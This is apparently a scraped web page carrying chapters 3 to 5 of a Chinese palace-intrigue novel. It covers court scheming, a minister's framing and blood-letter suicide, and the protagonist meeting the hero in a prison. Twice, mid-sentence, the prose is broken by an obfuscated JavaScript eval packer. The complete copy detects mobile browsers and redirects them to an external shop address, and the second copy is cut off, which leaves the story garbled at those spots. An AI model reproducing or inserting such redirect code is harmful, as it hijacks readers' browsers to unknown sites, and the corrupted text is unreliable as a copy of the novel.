《巧取豪夺了无cp男主》 3.锦书依依 一朝追封为妃,并未出乎越青君预料。 而这也没什么值得庆祝之处,实在是章和帝封的妃嫔实在太多。 章和帝自诩深情,只要曾与他有一段情,而那人又未曾犯不可饶恕的错,不说生前,至少在对方死后,一个妃位他并不会吝啬。 被他追封的妃位,不说几百,至少也有几十,且各种封号甚至还有重复使用,贵妃就不下三位。 简而言之,位分这玩意儿,在章和帝这儿不值钱,追封的位分更不值钱。 比位分稍稍值钱点儿的是宠爱,但也仅仅是一点,毕竟章和帝此人宠一个人是真宠,曾因某位妃嫔一句话就要建望月楼,也曾为取悦一名妃嫔而下令全京城不许穿红。 可一旦他一时顾不上你,也是真不记得你是谁。 望月楼还没建起来,那位妃嫔就已因一时失宠而被其他人给趁机弄死了,死后章和帝终于记起这位因小产而被搁置的爱妃,满怀悔意地给对方追封了个贵妃。 和前人比起来,卫无瑕生母得来的一个莲妃不值一提。 但章和帝为何会给一名从前连名字都没有的小才人封妃这事却值得探究一二。 后宫藏不住秘密,尤其是章和帝的后宫。 不过半日,章和帝昨夜偶遇六皇子,撞见对方祭拜生母的事便传遍了后宫。 啪! 白玉般的瓷盏被摔碎在地,粉身碎骨。 “不会叫的狗最会咬人。”柳昭仪咬牙切齿道。 她和章和帝游湖赏莲,前有贵妃以衣邀宠,后有卫无瑕夜半相逢,看她好欺负是吗! “娘娘息怒,六殿下是皇子,且即将出宫开府,与咱们并无阻碍,该生气的应当是其他人。”大宫女在一旁宽慰。 柳昭仪仍旧有气,她气得何止是被利用,还有莲妃与她的采莲舞相撞,今日章和帝见她身穿一件水红色衣裙,竟随口问她有没有粉白色的衣裙。 那正是卫无瑕故事里的莲妃喜欢的颜色。 柳昭仪青楼出身,曾经名动京城,恩客无数,其中就有当时白龙鱼服的章和帝。 在长达三月的竞争追逐后,章和帝成功打败所有人,抱得美人归,那时他才表露身份,将她接入宫中封为昭仪。 柳昭仪与莲妃人设不同,一处相撞,倒不必十分担心。 但这唤醒了柳昭仪心中的危机感,她与章和帝的“爱情”大半来源于竞争感,而今身居后宫,这条路算是断了,她得想想新点子,或者……后路。 凤仪宫 宫女小心翼翼为皇后涂抹寇丹,胭脂色的指甲让皇后温婉的气质染上一分艳气。 “娘娘,太子殿下来了。” 皇后挥手示意众人退下。 太子进来时,屋中只有皇后与她的心腹。 “天气渐热,听闻母后近来胃口不佳,我特地寻来几道开胃的食谱……”太子言语关切。 皇后适时打断:“说正事。” 太子面上笑意微收,“母后可是想说六弟的事?” 皇后面容平静,语气却带着几分不着痕迹的轻蔑:“不过有点小手段,不必放在心上。” 说罢抬眸瞥向太子:“学了这么多年的权术心计,多年观政,你只看得到这点表面?” 太子拱手执仪:“儿臣的错,辜负母后厚望。” 愚钝无能当然是他的错,可他愚钝也不是一年两年,天资如此,又如何能改。 “户部有你的人。”皇后并未揪着老生常谈的事不放,转而提起了别的。 “老六开府,户部拨款,工部督造,这银子可还够?” 太子一噎。 银子可还够?自章和帝登基后,国库内库里的银子就从未够过。 章和帝出手大方,对自己喜欢的人,赏赐从不手软,对自己更是大方,想要什么直接开口,从不在意国库内库有没有银子供他如此挥霍,只在意手下人是否能办到,办不到便是无能,既然无能,那此人也不必再留着了。 总之,苦天下不能苦天子,就是天下人裤衩都没得穿,天子每日一碗燕窝也不能少。 因而手下人为满足章和帝,竭尽所能,穷尽一切手段,搜刮百姓,勒索官员,无恶不作,以满足老作精时不时抽风的奇思妙想。 这种情况下,国库内库空得能跑马,说个笑话,满朝上下的俸禄都是他们幸幸苦苦搜刮来的,正因如此,户部官员的名声在朝中也实在让人难以言喻。 太子沉默片刻后才道:“六弟尚未封王,开府规制不必太大,想来应当不算太麻烦。” 若是受宠的皇子或许还要担心督办不周,可老六一向低调,皇子府只要按规制不出错即可。 该省省该花花,大不了就从罪官家产里寻摸寻摸,凑一凑应该问题不大。 “本宫要说的不仅如此。”皇后抬眸看向他,“你要盯紧其他人,尤其是老五和贤妃。” 太子心中一凛,明白了皇后言外之意。 虽说他兄弟姐妹不少,但大多都在后宫争斗中或死或病,时至今日,皇子皇女夭折率依旧居高不下,而侥幸存活下来的兄弟,大多也不足为惧,少数几个有希望的竞争者中,贤妃所出的五皇子与他斗得最激烈。 难保他们不会趁此机会做文章。 “谨记母后提醒。” 送走太子,宫女继续为皇后涂抹寇丹。 “娘娘放心让殿下独自处理此事?”大宫女摘下皇后头上簪饰,为她轻轻揉按着头部。 “独自?东宫属官,朝廷官员,是没人了吗?” “太子资质平庸,尚且能寻能臣辅佐,可若是御下无能,那就是自取灭亡。”君不见章和帝一个喜好享乐,不理朝事的老作精,也能将朝臣们折磨得□□。 她可以输,太子却不行。 * 凌霄殿内,几名小内官小心抬着一个大水缸往院子里走。 “小心点儿,小心磕碰坏了。”张忠海在一旁指挥几人放在那个位置。 好不容易放好,几名小内官又才往半满的缸中蓄满水,将露出大半身子的睡莲又遮盖不少。 “这是在做什么?”章和帝一身宽袍广袖,衣袂飘飘,颇有一股道骨仙风之姿。 张忠海笑盈盈凑上前:“回陛下的话,前儿六殿下受了皇恩,特地去莲池边上,亲自挖了一株睡莲,装在缸里让人送来,以谢皇恩。” 章和帝闻言面上当即带出一点笑意,看到这株含苞待放的睡莲,想到那名深爱自己错被错过的女子,心下一叹,“他有心了。” 听说越青君因为亲自挖睡莲,受了凉,本就不太好的身子如今更是卧床病倒,大手一挥又赏赐了不少东西,还嘱咐他好好……休息,不必亲自前来谢恩。 越青君送来的睡莲时机卡得恰到好处,移来当晚,一夜之间便开了花,原本合拢的花苞尽数舒展开,粉白渐变的颜色也让它生得格外娇嫩。 “还是陛下的凌霄殿风水养人,这才来一日,这朵莲花就迫不及待绽放,定是受到陛下龙气滋养。”张忠海连连恭维,口中的赞词不要钱似的。 梁公公下台后,他就接替了对方的位置,自是一切以老作精的心情做事,只有伺候好了老作精,自己这个位置才坐得稳,因而无论出头的是谁,只要是能让老作精高兴的事,他都愿意锦上添花。 章和帝果然龙心大悦,连说两个好。 心情好的老作精也想起来给自己送莲花还因此卧病在床的便宜儿子。 “老六建府这事儿,让下头的人好好办,别因为老六低调就让人随意糊弄,好歹是朕的儿子。” 张忠海心下一个咯噔,国库什么情况朝中上下心知肚明,能勉力维持朝廷运转已经是户部穷尽办法的结果,就这,一旦有什么天灾人祸,还要杀一批人抄家充实库房。 今年难得没什么大的天灾,可皇子皇女年纪渐长,陆续成婚开府也是一笔极大的开支,否则也不会越青君底下几个弟弟都出宫成家,他一个年过二十的大龄青年还住在宫中,这本就不合规矩,自然是因为柿子挑软的捏,谁弱欺负谁。 软柿子一朝硬起来了,那又该欺负谁呢? 今年还未过半,就要开始杀猪了。 * 吕言刚领着人将章和帝的赏赐存入库房,转头就见内廷的人领着几名宫人进了院子里,为首的人他认识,以前也是梁公公的干儿子,然而在梁公公一朝失势后,对方也飞快改旗易帜,向他人表忠心。 从内心里讲,吕言并不觉得对方的选择有错,能抓住手里的东西,谁又想要失去?对方没有落井下石,献祭梁公公讨好新上位的人,于他们而言,已经算是有良心了。 换了从前,吕言势必要上前恭维讨好一番,拉近拉近关系。 可谁让六殿下如今认定他是知感恩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604032|143235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,并对此十分赞赏,既如此,那他就不能与这等“忘恩负义”之人太过亲近。 “黄公公,这是有什么要事,竟劳烦您亲自前来。”他快步迎上前,面上满是笑容。 黄公公面上和带着和气的笑容,他长着一张圆脸,笑起来瞧着就有福气,也因此得了个黄圆圆的名。 “瞧你说的,六殿下的事自然是要事。”黄公公让开位置,露出身后的人。 “也怪底下的人办事不力,六殿下宫中伺候的人不够这种事今日才发现,我赶紧选了几个得力的人手,填补空缺。” “吕公公来瞧瞧,给这些人好好选选,看中了谁就是他们的福分,陛下爱子之心,要是让陛下知道咱们底下的人侍奉殿下不周,这罪过,奴婢也担不起。” 黄公公一脸和善,说出的话却让人无法招架。 什么侍奉,监视还差不多。 吕言心头一跳,面上笑容顿了顿,这才恭敬道:“小的算什么人物,哪敢做殿下的主,既是侍奉殿下的人,自然要殿下亲自挑选才合适,公公稍等片刻,小的这就去禀报殿下。” 越青君倚靠在床头,手中拿着一本闲书,但若是仔细看,便能看出他的焦点并未在书上。 称病这几日,他始终待在屋中,不仅足不出户,甚至连床都很少下,这也让暗中观察打探的人纷纷无功而返,心中越发相信这位六殿下虽会些小手段,但左不过是些在章和帝面前博取关注,改善宫中待遇这等小事。 什么争权夺位,与一个一无所有的透明皇子有何干系。 想想此人年过弱冠却仍被困宫中,底下弟弟都已出宫开府,他却被所有人遗忘,便也不难理解。 听完吕言的禀报,越青君将手中的书翻页一页,语气平静温和似寻常。 “人既然已经送来了,也不好再退回去,你挑几个聪明能干的,把宫内位置填满便是了。” 吕言心中琢磨着“聪明能干”四个字,恭敬地退了出去。 待人走后,越青君方才看向光幕,将修改好的内容点击保存上传。 感谢系统的黑科技,【写作笔记】上搭载了他曾经使用过的所有键盘,可以随意切换,只是从实体变成了虚拟,无需他动手,只要用精神力操作就能实现用脑写作。 系统可以根据这个世界发生的事自动生成剧情,剧情依据这个世界而生成,在大方向上无法改动,但越青君作为作者,可以对这些剧情进行删改修饰再上传,让文章更有可看性。 追封莲妃一事让明镜宫在宫中有了名字,宫内人心浮动,但越青君无论言行举止还是性情习惯却仍一如既往,对眼前繁华不为所动,这让原本有些浮躁的人心沉淀下来。 事实如此,越青君并不将一个莲妃放在眼中,他更关注的反而是事件本身。 从王才人到莲妃,算是越青君一次小小的试验,他想看看这个世界的真实性和灵活性究竟有多大。 结果让他很满意。 虽然是原作者,但他并不能对这个世界无中生有,除非这个无中生有的有本就是虚假的。 他让王才人变成莲妃,给她编造了一段足够以假乱真的人设和过往,可这些都并未被系统变成修改后的真实。 它只是在原有的基础上,增加了莲妃,增加了卫无瑕利用莲妃自保争宠,而那段被他编造的过往,并未被系统承认,自然也没被修改进文中。 他能影响尚未发生的未来,却无法改变过去。 一切迹象都在说明,这是一个真实的世界。 而他这个原作者,也不能随意对已经成为真实的世界,和已经既定的事实进行删改。 越青君很高兴。 如果一切过程都能由他随意设定修改,那这和玩单机模拟游戏有什么区别,真实的世界,真实的人,这样才有意思。 他真的很想知道,他的世界,他的角色,在他的影响下,又会发生怎样的变化呢? 试验过后就该上正餐了,第一个,还是他亲爱的主角好了。 没办法,谁让他爱他爱得那样深沉。 取出夹在书中的信纸,将那张写着邀约的信纸拿在手中看了又看,越看越喜欢,目光长久在“悬明”二字上逡巡流连,满目深情。 “宁、悬、明。” 眸中的喜爱与热情几乎要将信纸灼烧。 他们的第一次见面,真期待啊。 4.鉴悬日月 六皇子要开府一事,在后宫掀起的波涛远不及在户部。 自圣旨下达后,户部就乱成一锅粥。 原本上官还想用拖字决,压着卡流程,问就是在办了在办了,但要问办到哪儿了……户部每日往来公务最是繁忙,还没来得及处理,岂不是十分正常? 此办法实乃对付一些不好办但又不得不办事务的不二法门,官场上下的老油条们对付对手的一大利器,百试百灵。 然而不等他们抱着此等想法长久下去,章和帝又派人叮嘱一定要给他的孝顺儿子好好建座府邸,不许欺负六皇子低调。 众人:“……” 此话一出,他们若是再卡着这事,岂非坐实了欺负六皇子? 与此同时,工部也在加紧催促,毕竟若没有新工程,他们又如何在工程里中饱私囊,上下捞油水? 上下施压,户部这几日着实不好过。 半夜,唐尚书一人待在书房,翻看着朝中各个官员的名字,一夜未眠。 翌日,章和帝收到一封密折,才看了个开头,便气得将奏折砸在地上。 “混账!混账东西!” 张忠海额头冒汗,却仍是不得不连忙上前,给章和帝倒了杯茶,“陛下,切勿气坏了身子,有什么事,也没有您身体康健重要。” 他是知道上奏折的人是谁,也隐约知道里面大约是什么内容,但身为内官,在没有章和帝允许的情况下,也不敢随意插手前朝之事,至少,明面上必须如此。 被忠心的奴婢劝了两句,章和帝虽没消气,却也没像方才那般发火。 “你看看,你看看,还要朕不生气,那些混账东西怕是天天盼着朕恨不得气死才好!” 从某方面来说,这倒也不能算是假话,但这其中必不包括张忠海,作为章和帝的贴身奴婢,他的权势荣宠皆系在章和帝一人身上,他大约是世上最希望章和帝长命百岁的人。 “陛下乃天子,若有不顺心之处,定是底下人的罪过,处理就处理了,何故平白生气,好让亲者痛仇者快。” 章和帝自然不是会内耗的人,张忠海所说也是他所想。 真乃天子,怎会有错,若是受到蒙蔽,那也是奸臣狡诈,是忠臣办事不力。 “传朕旨意,工部侍郎许子穆欺上瞒下,中饱私囊,贪污受贿,着令禁军暂将其捉拿下狱,抄没家产。” 当禁军破开许府大门,将整座府邸团团包围,许子穆才收到消息,不等他去往前院,禁军便已经迅速迅速将他圈住。 “齐统领,深夜无故冲入朝廷官员府中,纵然你是天子亲卫,也要被御史狠狠参上一本!” 许子穆面色实在难看,眼底深处隐隐藏着忧惧,显然心中并非如他表现出的这般镇定。 齐非手持诏书,“陛下有令,将许子穆捉拿下狱,其余家眷一应软禁府中,案情查明前,一律不得随意出入。” “带走!” 许子穆心中惊惧交加,隐约也明白自己这是着了道,今日去了,多半就很难回来。 他强忍着惊惧勉强维持仪态:“我要见陛下,我有话要同陛下说!” 齐非抬手示意,立马有人将许子穆拖走,无论他想说什么,都没机会诉诸于口。 许子穆身为工部侍郎,所住的兴业坊也是官员聚集地,距离皇城不过三条街,然而禁军深夜破朝臣家门,周遭重臣府邸却始终大门紧闭,悄然无声,仿佛对这场深夜里的肃杀毫不知情。 然而从周遭府邸的灯烛未熄看,便知这不过是视若无睹,冷眼旁观。 翌日,众人方才逐渐得知消息,有人密折检举许子穆贪污受贿,中饱私囊。 众人一听,都不曾怀疑此罪名的真实性,无他,这实在太过常见,章和帝一朝,满朝文武中,与这二词并无牵扯的人堪称凤毛麟角,非是官小职低无从下手,便是出身世家显贵,无需在泥坑里争先,自有财源滚滚来。 此罪名一出,朝堂上下都心知许子穆被搞了。 至于搞他的人是谁,自然也是了然于心。 无数奏折纷至沓来,皆是为许子穆求情,若许子穆当真因此事而直接被捉拿下狱,抄没家产,连半句辩解也无法为自己诉说,那岂不是在告诉堂上累累公卿、浩浩百官,他们有朝一日也有可能如许子穆一般被随意处置? “自高尚书久病在床以来,许侍郎便暂管工部,事事亲力亲为,丝毫不敢懈怠,劳苦功高,敢问方御史,许侍郎贪污受贿,中饱私囊一事可有证据?” 方御史抬头看了唐尚书一眼,后者上前出列,从怀中摸出两本账册,“启禀陛下,此乃修筑望月楼时,工部申请的各种开支名录,另一本,则是臣派人私下查探望月楼工程所费的实际名目,数额相差之大,何止两三倍。” 内官小心捧着账册呈给章和帝。 章和帝将其随手翻了翻,很快便丢了回去,“让中卫爱卿都看一看,朕的朝堂,究竟出了个怎样的国之蠹虫。” 什么国之蠹虫,分明是你的蠹虫。 至此,满朝官员也明白了为何皇帝对许子穆毫不留情,甚至直接抓人抄家,不许用金钱赎买。 章和帝自己不理财务,却不代表他不爱财,相反,正是因为喜好享乐,奢靡无度,他甚至钱财之重,才将钱财一事全权交由内臣百官去头疼,自己只要享受,想用时始终有钱,才不管底下人是如何搜刮得来。 但前提是,搜刮的不是他的钱。 在章和帝眼中,国库即内库,国库的钱就是他的钱,而许子穆借用职务之便,搜刮了国库大笔钱财,无论许子穆是拿钱做什么,那就是在偷他章和帝的钱。 罪名中的贪污受贿不过是个名头,章和帝从不管这种小事,真正让许子穆死无葬身之地的是中饱私囊,且名目巨大。 至此,再无人敢为许子穆求情。 甚至众人纷纷告罪,只说从前受小人蒙蔽,竟从未发现许子穆狼子野心,都是小人太会伪装,与他们这等忠臣毫不相干。 几日后,许子穆的罪名彻底定下,许家风流云散,下人们大多也被发卖,幸而女眷的嫁妆得以保存部分,许夫人给了一笔不菲的银两,才换来探视的机会。 “你受苦了!”见到许子穆瘦了一大圈的脸,许夫人到底畜起了眼泪。 “家中情况如何?你和孩子们都没事吧?”许子穆不是个好官,却是个好夫君好父亲,若非为了家人,也不至于在官场汲汲营营。 许夫人点点头,“虽然受了些惊吓,但都未曾受伤。” 她看了看门口守着的狱卒,小声凑到许子穆耳边道:“殿下特地派了人前来照看,若非如此,我只怕是连这点嫁妆也保不下来。” 章和帝登基多年,法度崩坏,谁还管内眷的嫁妆应该归于女子,不算抄家范围? “殿下让我将这个交给你,承诺再过不久就能让你出去。”许夫人将手中的锦囊递给许子穆。 许子穆打开一看,却是空空如也。 “殿下这是什么意思?” 不知想到什么,许子穆忽觉浑身一冷。 * 天光微亮,张忠海一早便领着几名内侍将凌霄殿上下点上驱虫的香。 一名小内官快步走来,“公公,贵妃宫里的红玉姑姑来给陛下送冰糖银耳汤来了。” 张忠海抬头看了眼天色,“把东西拿进来,陛下还未醒,让人早些回宫。” 身后的徒弟小声说:“还是贵妃娘娘有法子,见缝插针,便是人不在,也让陛下时时记得。”可见这青梅竹马的表妹就是不一样。 张忠海瞥了他一眼,“这话也是你能说的?” 小徒弟脸色微白,当即低头甩了自己几个嘴巴子,“师父,是小子狂悖,口无遮拦,您打我罚我,绝无怨言。” 张忠海不说话,那小徒弟更加忐忑,抽打自己嘴巴的动作一直没停下。 片刻后,才听见张忠海发话:“看在相识一场的份儿上,今后也不必喊我师父了,你走吧,凌霄殿留不得你了,冷宫还缺个扫地的。” 小徒弟跪在地上哭求,很快就被人堵住嘴带走了。 张忠海望着他消失的方向,心下叹了口气,他就想找个孝顺有良心的徒弟,怎么就那么难呢。 姓梁的就是比他命好,失势了竟然还有人伸出援手。 还以为他这回死定了,谁知竟峰回路转,虽说难复从前荣光,但一个善终却并非不可能。 等侍奉章和帝起床用膳,章和帝前去御花园散步消食。 开国之初,皇帝很是勤勉,每日上朝,从无中断,后来国家日益昌盛,朝中大事减少,改成了两日一朝会,或者三日一朝会。 到了章和帝,时常享乐至深夜,早朝时自然爬不起来,逐渐将朝会变成五日一次,十日一次,时至今日,已经是半月一次,时而章和帝还要翘掉一次。 今日亦是如此,章和帝前往御花园,张忠海本要跟着,却见一名小内官从外面进来的拼命朝他使眼色。 张忠海只好吩咐其他人伺候好章和帝,自己则是退出殿外,低声询问:“什么事这么着急?” 小内官顶着一脑门的汗,小声在张忠海耳边道:“干爹,那个姓许的死了。” 哪个姓许的?张忠海下意识想,随后想起是谁,神色淡定:“死就死了,一个罪臣,这般慌乱做什么?” 小内官面上仍旧忧心,小声给张忠海说起了内情。 许子穆是死了,还是以额触地自尽身亡,一切都像是畏罪自杀。 若无意外,此事也会是这个结果。 然而坏就坏在许子穆死前还留了一封自白书。 用血书写的自白书上也当真字字泣血,说尽冤屈,许子穆称自己虽有小贪,却绝无借工程职务为自己谋利,他也不知道户部的账册是怎么回事,更确定自己并未拿那几十万两巨款。 【……臣有罪,罪在愚钝,罪在不察,引奸佞近身,危及陛下,万死难辞其咎,臣死不足惜,陛下安危却系天下万民。自入狱后,不审,不问,所言无人听,所冤无处诉,罪臣之言难以上达天听,故不惜此身,愿此血能开道引路,呈于陛下,警示上下。臣将死,唯忧陛下安危,奸佞不除,便是黄泉也难瞑目,待危机解除,望陛下修书一封烧予臣,全臣忠君之心,罪臣许子穆,狱中遥叩,敬上。】 看完这封血书,张忠海心中大叫不好。 再无人能比他们这等近侍懂得章和帝。 先帝才能平平,做皇帝时顶多算个守成之君,能力手段甚至不比章和帝,但在私德上,却能抵十个章和帝还绰绰有余。 先帝娶妻崔氏,两情相悦,琴瑟和鸣,甚至为其不愿选秀,虚置后宫,一年后皇后有孕,且一举得男,既嫡又长,满月便被封为太子。 章和帝自小集万千宠爱于一身,从未受过挫折,因而养成了既多情又自私的性子。 他当真认为天下谁人不爱君。 这封血书若呈至他面前,他必定能信,且感动不已。 毕竟许子穆是真死了,毕竟他是那么爱朕,那他还能说谎吗? 既然他没有说谎,那真正说谎的,又是谁呢? 要知道,还有一笔在逃赃款至今没有找到。 “这是谁送来的?”他沉声问。 小内官擦了擦汗:“干爹,谁送来的不重要,重要的是它已经经过多人之手。” 压不下去的。 张忠海沉默。 * “岂有此理!” 章和帝回宫后,从张忠海手中接过那封血书,看完整个人怒不可遏。 张忠海没想错,章和帝确实信了,既信血书所说,也信了许子穆忧君忠君之心。 他当然不会将一个臣子的死放在心上,死了一个忠臣,还有千千万万个忠臣,但许子穆的死无疑是让他背上了失察,忠奸不分,冤杀奸臣等罪名。 有那么一刻,章和帝甚至想要不许子穆没被冤枉就好了。 但不行,那可是为他而死的臣子,怎能寒了他在九泉之下的心。 尊贵的天子自然不可能有错,更不会怪罪自己,错的只能是误导了天子,害得天子做出错误判断的人。 午时未到,方御史就被人带走了,同上回的许子穆一样。 * 越青君来到凌霄殿外,远远就见到有一道身影跪在殿外,热辣的太阳挂在头顶,那人被晒得满脸通红,汗水自上而下,流过眼睛,他却也只敢趁着守在殿外的小内官不注意时迅速擦一下。 视线在那人身上停留片刻,猜到那人身份后,便收回视线,唯有阳光下眼角闪过一道微光。 “陛下,六殿下到了。”张忠海快步通传。 越青君踏步而来,一身素锦衬得他人如其名,如玉无暇。 “儿臣见过父皇。” 这还是章和帝初次在白日将自己这个六儿子看得清楚明白,只觉得子肖其父,这个儿子身上有类自己的仙气,想来这些年对方研习佛法定有所成,越看越满意,原本糟糕的心情都好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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见唐尚书将一切背在自己身上,章和帝气顺了,“既然如此,朕给你一个戴罪立功的机会,让户部上下配合刑部调查,若再有不查不审便定罪,朕拿你们是问。”无论如何,为血书上的内容,他都要做个样子。 “记住了,这次,务必要还忠心之人一个清白。”不管最后脏的是谁,反正他章和帝是个清清白白好皇帝,冤杀忠臣这种事,不能出现在他身上。 唐尚书心中发苦,自他知道许子穆死后,便知道这是有人设下的陷阱,偏他还不慎跳了进去,既是早有安排,以对方早早布局的谨慎,只怕难以找到证据,然而此时此刻,却也只能恭敬应是。 章和帝抬头环视一圈,最后还是将目光落在越青君身上:“老六。” 越青君抬头:“父皇。” “你去旁观调查审讯,届时将审案过程详细告诉朕。” 越青君眉心微蹙,过往他从未接触过前朝事务,涉案官员他尚且认不全,又如何能担此重任? 然而在章和帝的注视下,似是恍然明悟了什么,终究还是起身拱手,“儿臣遵旨。” 垂首敛目间,一同藏去的是唇边一抹清浅笑意。 用过午膳,出了殿门,越青君迎面撞上一名小内官。 “殿下,唐尚书给您留了口信,说是为感谢您出言求情,将在天香楼设宴,邀您今夜前去。” 明艳日光下,越青君面上病容愈浓,吕言撑开一把伞,为他遮去烈日。 伞下青年神色淡然,若仔细瞧,隐约能瞧见平静下的冷漠。 “唐尚书客气了,我不过是不愿父皇名声有损,若他想要报答,将案子查清,了却父皇一桩心事足矣。” 说罢,款步离开,毫不留恋。 得知此事的唐尚书不由陷入沉默。 他本以为六皇子求情是想拉拢自己,然而对方用实际行动否定了他的猜测。 唐尚书作为章和帝伴读,自小一同长大,从一开始便是唯一忠于天子的纯臣,能不与皇子接触过深是好事,可这样一来,他又要怎样让六皇子配合迅速结案呢? * 翌日,越青君一早起床,难得为今日穿着耗费了些时间。 吕言隐约觉得今日的殿下有些不同,却又不知缘由。 最后,越青君还是穿了一身素白锦袍。 无他,昏暗的环境,白色就是最醒目的。 他要那人在一干人等中,第一眼就看见他。 到了刑部,前来迎接的是一名身形微胖的年轻人,“参见殿下。” “下官姓顾,在刑部担任主事,遵上官命令在此等候殿下。” 不知是否是他的错觉,在他说完后,这位素未谋面的六殿下多看了自己几眼。 难道对方从自己平凡的外表,看出了美味的内心? “带我过去吧。” 越青君只多看了片刻这位原著中的“美食博主”,很快就被即将见到他的主角的兴奋而占据心神。 “狱中阴暗,请殿下小心,紧跟下官身后。”顾从微领着人走了进去。 牢房建在底下,如顾从微所说,难见日光。 墙上挂着的油灯散发的光芒,并不足以将整个牢房看得一清二楚。 越青君却看得十分认真仔细,似要将这里一一看遍。 即使因此行进缓慢,顾从微也不便催促。 忽而,越青君脚步顿住。 视线黏在角落那道身影上,再难移开。 半晌,方才轻声启唇:“那是谁?” 顾从微看向越青君视线所及之处,只见一名青年,冠带皆除,仅余一身青袍,长发散落,盘膝而坐,闭目养神。 不见落魄意,青衫尽风流。 阳光自头顶狭小的天窗斜斜照进,洒落在他身上,仿佛并非光照人,而是人映光。 陌生的样貌,却只一眼,便令越青君心跳剧烈,纷乱难平。 “此人是此案重要人证,就是他最先查出账册问题。”于是许子穆被“冤枉”后,他也成了重要嫌疑人。 传入耳中的声音说了什么,越青君无心去听,此时此刻,他眼中心中,有且仅有那一人。 不必过多询问,不必有所迟疑,在见到对方第一眼,越青君就知道,这就是他。 朦胧的眉眼化为实质,熟悉的气度凝聚风骨。 他伴他两年日月,他写他十年人生。 用一生给自己的名字诠释了新的意义,与他最初所赋予意思截然不同的唯一主角。 鉴悬日月,辞富山海。 许是视线的长久停留终究让人无法无动于衷,下一刻,宁悬明睁开眼睛。 视线相对时,终赴了楼上月下之约。 5.如此无瑕 视线交汇那一瞬,天地也为之侧目。 天窗透来的阳光,刹那间明艳夺目,光华万丈,却又柔和无比,毫不刺眼。 此时此刻,世间仅有越青君一人知道这一眼的意义,常人只道一眼万年,他们之间,何止万年。 那是跨越时空的奇迹,是命运交汇的幸运。 心中如何沸腾翻涌自是不必说,却有一抹遗憾浮上心头。 只有他一人知道,终究还是太寂寞了。 内心的贪婪在疯狂叫嚣,不够,不够,远远不够。 无数念头自心中闪现,实际却只过了几息时间。 几息过后,无论越青君心中如何恋恋不舍,仍是要抬步离去,未曾留下只言片语。 宁悬明目送他离开,直至再见不到对方身影,方才收回视线。 低头反复握紧手中暖阳。 分明未有接触,分明不曾相识,怎得与方才那人对视时,仍有一种难以言喻的感觉。 仿佛镜花水月成了真,海市蜃楼凝成实。 伸手捕捉阳光,下一刻却真的抓住了的绮丽梦幻。 怪哉。 * 进入内室,灯火通明。 只见屋中早已布置好了桌椅茶点,甚至还有两名样貌清秀的丫鬟在旁伺候,若非越青君方才一路走来,丝毫想不到这是在狱中。 “下官见过殿下。”一名身材健硕,气质刚正的中年人拱手行礼。 “荀尚书不必多礼,今日我不过是奉父皇之命,在此旁观,审讯查案一事,还是有劳你们费心了。”越青君态度十分谦和,让在场众人也放下心来。 “不敢言功劳,不过是分内之事。”荀尚书语气是不同于外表的温和,伸手示意越青君坐下,“殿下请。” 审问进行得并不顺利,说到底,此事最开始就是唐尚书先下手为强,其中有多少猫腻谁也不知道,但许子穆究竟有没有他所说的那样无辜,呵,问问从他家抄来的价值十几万两的家产就知道了。 朝堂上下,包括天子心里未必不清楚,但事已至此,总要有个人背负所有结果。 听着这些人有意无意将所有嫌疑和罪责都往所谓的“罪魁祸首”宁悬明身上推,越青君半点也不意外。 是他第一个揭开账册问题,是他无权无势,毫无背景,也是他官小职低,死不足惜。 对章和帝来说,许子穆是甘愿自尽血书为他示警的忠臣,当然要好点的身后名才好听,故事也更动人。 唐尚书不仅是自小长大情同兄弟的伴读,还是为他捞钱多年的左右手,用习惯了,没他不行,当然也不好沾染污名。 对唐尚书来说,自己落入陷阱虽然很想报复,但更重要的还是尽快摆脱危机。 对刑部的人来说,许子穆一事已经让他们丢尽颜面,当然想要尽快找出罪魁祸首尽早结案。 至于户部,笑话,户部的账也是能查的吗? 真查完,只怕朝堂上的人十不存一。 在所有人不约而同想要息事宁人的情况下,最终导向的结果也可想而知了。 越青君端起茶杯,掩住唇边一抹笑意。 所有人都在迫你害你,冤你杀你,唯有我自局外窥你清白,心甘情愿入局,还你公正,予你光明。 如此无瑕,可会喜欢? 清茶温热,不及此刻心情。 宁悬明被带来时,其他人已经问完一遍。 踏入室内,尽管点满了灯烛,仍散不去室内昏黄,而这昏黄之中,唯有那人一身雪白,昏黄的烛光映在他身上,仿佛他身上泛着金光,萦绕仙气。 “宁悬明,不要浪费时间,将你如何伪造账册,构陷忠良的经过一一说来,否则休怪本官不留情面。” 律法言明不轻易给官员上刑,但凡事皆有例外,若是宁悬明负隅顽抗,不愿认罪,他们也只好用些特殊的办法了。 无人察觉,在那人说出宁悬明此名时,越青君抬眼看向堂下之人,眼中神色翻涌,复杂难明。 然等宁悬明转眸望去,却又只能看见他垂下的眉眼。 回想那些个在他之前先被带走审问的同僚们,宁悬明心下失笑:“几位大人联合审讯这么久,只审问出这些吗?” 分明跪在堂下,却自有一番不可摧折的气度,让心中不净者下意识避开。 顾从微低下头,不忍再看,只觉得今晚的红烧鱼要不香了。 “不要顾左右而言他。”众人既想将责任推到宁悬明身上,自然也是做了工作,有证据或疑点在手。 “户部众人说,你上值期间,多次借阅查看过往账目,若非别有用心,又怎会关心那些被封存的账目!” 此言一出,宁悬明陷入沉默。 见状,众人只觉得这下他无从抵赖,当下心头一松,只觉得此事应当很快就能了结。 连唐尚书都不由喝杯茶润了润嗓子。 然而这杯茶还没喝完,宁悬明的刀刃已经递到他面前。 他抬头凝视唐尚书,“大人也觉得,下官无理由查阅过往账目?” 唐尚书轻咳几声,“你入户部不足两月,手中也不过有些丈量田地,清查户籍,造访乡里等外勤公务,其余事务,并不由你接手。” 